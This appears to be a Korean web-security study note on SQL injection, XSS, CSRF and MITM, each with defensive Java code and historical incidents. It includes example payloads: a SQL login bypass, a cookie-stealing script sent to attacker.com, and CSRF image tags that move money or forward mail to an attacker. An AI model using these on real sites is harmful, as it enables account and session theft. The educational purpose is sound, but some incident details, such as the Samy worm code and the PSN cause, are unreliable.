[보안] 웹 보안 위협 및 공격 기법
🚨 1. SQL Injection (SQL 삽입 공격)
📌 정의
- 웹 애플리케이션이 사용자 입력을 제대로 검증하지 않고 SQL 쿼리에 포함할 경우, 공격자가 악의적인 SQL을 삽입하여 데이터베이스를 조작하는 공격 방식이다.
- 로그인 우회, 데이터 탈취, 데이터 변경·삭제가 가능함.
💥 공격 예시 (로그인 우회 공격)
1. 로그인 폼이 있고, 사용자가 아이디와 비밀번호를 입력해야 한다.
2. 일반적으로 실행되는 SQL 쿼리는 다음과 같다.
SELECT * FROM users WHERE username = 'admin' AND password = 'password123';
3. 공격자는 username 필드에 다음과 같이 입력한다.
' OR '1'='1
4. SQL 쿼리가 다음과 같이 변조됨.
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'password123';
5. '1'='1'은 항상 참이므로, 공격자는 비밀번호 없이 로그인 가능!
🛡️ 방어 방법
- ✅ Prepared Statement (프리페어드 스테이트먼트) 사용
- ✅ ORM 사용 (JPA, Hibernate) - 내부적으로 Prepared Statement를 사용
- ✅ 입력값 검증 및 필터링 (', --, ; 등의 특수 문자 차단)
🤔 Prepared Statement란?
SQL Injection을 방지하고 성능을 최적화하기 위해 사용되는 SQL 실행 방식이다.
일반적인 SQL 쿼리와 달리, 쿼리 구조와 값(파라미터)을 분리하여 실행하는 것이 특징이다. 밑에 예시를 보자.
❌ 일반적인 SQL 실행 (SQL Injection 가능)
String userInput = "admin' --";
String query = "SELECT * FROM users WHERE username = '" + userInput + "'";
// 실행되는 SQL: SELECT * FROM users WHERE username = 'admin' --'
- 사용자가 "admin' --" 같은 입력을 하면, SQL이 조작되어 인증 우회가 가능해짐.
- '-- 이후 코드는 주석 처리되므로, WHERE username = 'admin' 조건만 남게 됨.
✅ Prepared Statement 사용 (SQL Injection 방지)
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, userInput);
ResultSet rs = pstmt.executeQuery();
- 물음표(?)는 바인딩 변수(Placeholder)로, 사용자 입력값이 데이터 값으로 처리됨.
- SQL 구문이 미리 컴파일되므로, 입력값이 SQL로 해석되지 않음.
- 결과적으로 SQL Injection 공격이 불가능함.
🚀 Prepared Statement의 동작 방식
① SQL 미리 컴파일
SELECT * FROM users WHERE username = ?
- 데이터베이스에 SQL 구조(쿼리 틀)를 먼저 전달하고 컴파일함.
- 이때 SQL은 문자열이 아니라 실행 계획을 저장함.
② 값(파라미터) 바인딩 후 실행
username = 'admin'
- ? 자리에 실제 값을 바인딩하여 실행함.
- 값이 SQL 구조와 분리되어 있기 때문에, 'admin' -- 같은 입력을 넣어도 SQL로 해석되지 않음.
SQL Injection 공격 사례
2011년 Sony PlayStation Network(PSN) 해킹 사건
🎯 사건 개요
- 2011년 Sony PlayStation Network(PSN)이 해킹당하며, 7,700만 명 이상의 사용자 정보가 유출됨.
- SQL Injection 공격을 통해 사용자 ID, 비밀번호, 이메일, 신용카드 정보까지 탈취됨.
- PSN 서비스는 한 달 이상 중단되었고, 소니는 약 1억 7천만 달러의 피해를 입음.
💀 공격 방식
1️⃣ PSN의 웹사이트에서 SQL Injection 취약점이 존재함.
2️⃣ 해커가 admin' OR '1'='1 같은 공격을 통해 데이터베이스에 무단 접근.
3️⃣ 사용자 개인정보, 신용카드 정보가 유출됨.
4️⃣ 소니는 고객들에게 비밀번호 변경 및 신용카드 재발급을 권고.
🔐 사건 이후 보안 조치
- ✔ Prepared Statement 및 ORM 사용 → SQL Injection 방지
- ✔ 데이터 암호화 강화 → 사용자 비밀번호 및 카드 정보 보호
- ✔ 보안 점검 및 침입 탐지 시스템 도입
🚨 2. XSS (Cross-Site Scripting, 크로스 사이트 스크립팅)
📌 정의
- XSS는 웹사이트에서 사용자 입력을 제대로 검증하지 않아서 공격자가 악성 스크립트를 삽입하고, 이를 다른 사용자의 브라우저에서 실행하도록 유도하는 공격 기법이다.
- 쿠키 탈취, 피싱, 세션 하이재킹 등이 가능함.
💥 공격 예시 (쿠키 탈취)
1. 댓글 입력창이 XSS 방어를 하지 않는 경우, 공격자가 다음과 같은 악성 스크립트를 입력할 수 있음.
<script>
document.location='http://attacker.com/steal?cookie=' + document.cookie;
</script>
2. 이 댓글이 다른 사용자에게 표시되면, 사용자의 쿠키가 attacker.com으로 전송됨.
3. 공격자는 세션 쿠키를 탈취하여 피해자의 계정에 접근할 수 있음.
🛡️ 방어 방법
- ✅ HTML Encoding (특수 문자 이스케이프 처리)
- ✅ CSP (Content Security Policy) 적용 - 스크립트 실행 제한
- ✅ 입력값 필터링 (<, >, script 등의 태그 차단)
- ✅ HTTP Only 쿠키 설정
HTTP Only 쿠키 설정 방법
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
public void setSecureCookie(HttpServletResponse response) {
Cookie cookie = new Cookie("sessionId", "abc123");
cookie.setHttpOnly(true); // JavaScript에서 접근 불가능
cookie.setSecure(true); // HTTPS에서만 전송 가능 - (MITM 공격 방지)
cookie.setPath("/"); // 전체 경로에서 유효
cookie.setMaxAge(60 * 60); // 1시간 동안 유지
response.addCookie(cookie);
}
- cookie.setHttpOnly(true); → JavaScript에서 document.cookie로 접근 불가능!
XSS 공격 사례
2005년 MySpace 웜 (Samy 웜) 사건
🎯 사건 개요
- 2005년, 해커 Samy Kamkar가 MySpace에 XSS 취약점을 이용하여 웜을 퍼뜨림.
- 24시간 만에 100만 명 이상의 계정이 감염됨.
- 사용자가 MySpace 프로필을 방문하면 자동으로 친구 추가 및 감염됨.
💀 공격 방식
1️⃣ Samy는 MySpace 프로필 소개란에 악성 JavaScript 코드 삽입
<script>
var name = "Samy is my hero";
document.getElementById('profile').innerHTML = name;
</script>
2️⃣ 사용자가 감염된 프로필을 방문하면, 자동으로 코드를 실행.
3️⃣ 해당 사용자도 같은 코드가 삽입되면서 웜이 확산됨.
4️⃣ 하루 만에 100만 명의 MySpace 계정이 감염됨.
🔐 사건 이후 보안 조치
- ✔ HTML 및 JavaScript 필터링 적용
- ✔ Content Security Policy (CSP) 적용 → XSS 코드 실행 차단
- ✔ 입력값 검증 및 인코딩 처리 강화
🚨 3. CSRF (Cross-Site Request Forgery, 크로스 사이트 요청 변조)
📌 정의
- 사용자가 로그인된 상태에서 공격자가 강제 요청을 보내 사용자 대신 특정 작업을 수행하게 하는 공격기법.
- 예를 들어, 사용자가 로그인된 상태에서 해커가 피해자의 계좌에서 돈을 이체할 수 있음.
💥 공격 예시 (자동 이체 공격)
1 .사용자가 은행 사이트에 로그인한 상태에서, 해커가 다음과 같은 CSRF 공격 페이지를 제작
<img src="https://bank.com/transfer?amount=100000&to=attacker_account" />
2. 사용자가 이메일 또는 피싱 사이트에서 해당 페이지를 방문하면, 브라우저가 자동으로 이체 요청을 실행.
3. 사용자의 계좌에서 공격자의 계좌로 돈이 송금됨.
🛡️ 방어 방법
- ✅ CSRF 토큰 사용 (서버에서 생성하여 요청마다 검증)
- ✅ SameSite Cookie 설정
- ✅ Referer Header 검증 (요청 출처 확인)
SameSite 설정 예제
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
public void setSecureCookie(HttpServletResponse response) {
Cookie cookie = new Cookie("sessionId", "abc123");
cookie.setHttpOnly(true); // JavaScript에서 접근 불가능 (XSS 방지)
cookie.setSecure(true); // HTTPS에서만 전송 가능 (MITM 방지)
cookie.setPath("/"); // 전체 경로에서 유효
cookie.setMaxAge(60 * 60); // 1시간 동안 유지
// SameSite 설정 추가
response.setHeader("Set-Cookie", "sessionId=abc123; Path=/; HttpOnly; Secure; SameSite=Lax");
}
SameSite 옵션별 쿠키 전송 여부
요청 유형 | None | Lax | Strict |
같은 사이트 내 이동 | ✅ 허용 | ✅ 허용 | ✅ 허용 |
외부 사이트에서 GET 요청 | ✅ 허용 | ✅ 허용 | ❌ 차단 |
외부 사이트에서 POST 요청 | ✅ 허용 | ❌ 차단 | ❌ 차단 |
CSRF 공격 사례
2008년 Gmail CSRF 취약점
🎯 사건 개요
- 2008년, 해커가 Gmail의 CSRF 취약점을 악용하여 계정 설정을 변경하는 공격을 감행.
- 사용자가 공격자의 웹사이트를 방문하면 자동으로 Gmail 포워딩 설정이 변경됨.
- 피해자는 자신도 모르게 이메일이 공격자의 메일로 전달됨.
💀 공격 방식
1️⃣ 공격자가 악성 HTML 코드가 포함된 웹사이트를 제작
<img src="https://mail.google.com/settings?forward=email@attacker.com" />
2️⃣ 사용자가 로그인된 상태에서 공격자의 웹사이트를 방문하면 → Gmail 설정이 자동으로 변경됨.
3️⃣ 사용자가 수신하는 모든 이메일이 공격자의 이메일로 전달됨.
🔐 사건 이후 보안 조치
- ✔ CSRF Token 적용 → 요청마다 보안 토큰 검증
- ✔ Referer 검증 → 요청 출처 확인
- ✔ SameSite Cookie 설정 → 외부 사이트에서 요청 차단
🚨 4. MITM (Man-in-the-Middle, 중간자 공격)
📌 정의
- MITM 공격은 공격자가 사용자와 서버 간의 통신을 가로채어 데이터를 탈취하거나 변조하는 공격 기법이다.
- 공격자가 사용자와 서버 간의 통신을 가로채어 데이터 조작 또는 탈취하는 공격.
- 공개 Wi-Fi, 암호화되지 않은 HTTP 사이트에서 자주 발생.
💥 공격 예시 (Wi-Fi 스니핑을 통한 로그인 정보 탈취)
- 사용자가 공용 Wi-Fi에서 로그인 시도를 함.
- 공격자는 Wi-Fi 트래픽을 감청하여 패킷을 가로챔.
- 로그인 요청이 HTTP로 전송되면, 사용자의 아이디/비밀번호가 평문으로 노출됨.
🛡️ 방어 방법
- ✅ HTTPS(TLS) 적용 → 암호화된 통신만 허용
- ✅ VPN 사용 → 네트워크 보안 강화
- ✅ 공개 Wi-Fi 사용 시 주의 (중요한 로그인, 결제 금지)
MITM 공격 사례
2015년 Superfish 사건 (Lenovo 노트북)
🎯 사건 개요
- 2015년, Lenovo가 판매한 노트북에 Superfish 광고 소프트웨어가 사전 설치됨.
- Superfish는 HTTPS 트래픽을 가로채 광고를 삽입하는 MITM 방식의 공격을 유발함.
- 해커가 HTTPS 통신을 감청하여 로그인 정보, 금융 정보 등을 탈취할 가능성이 커짐.
💀 공격 방식
1️⃣ Lenovo 노트북에는 Superfish 루트 인증서가 포함됨.
2️⃣ Superfish는 HTTPS 트래픽을 가로채고 임의의 인증서를 발급함.
3️⃣ 해커가 위조된 인증서를 사용해 중간자 공격을 수행할 수 있음.
4️⃣ 사용자의 로그인 정보 및 금융 정보가 해커에게 노출될 가능성이 커짐.
🔐 사건 이후 보안 조치
- ✔ Superfish 소프트웨어 제거 및 Lenovo 공식 사과
- ✔ 신뢰할 수 없는 루트 인증서 삭제
- ✔ 브라우저 및 운영체제의 보안 업데이트 강화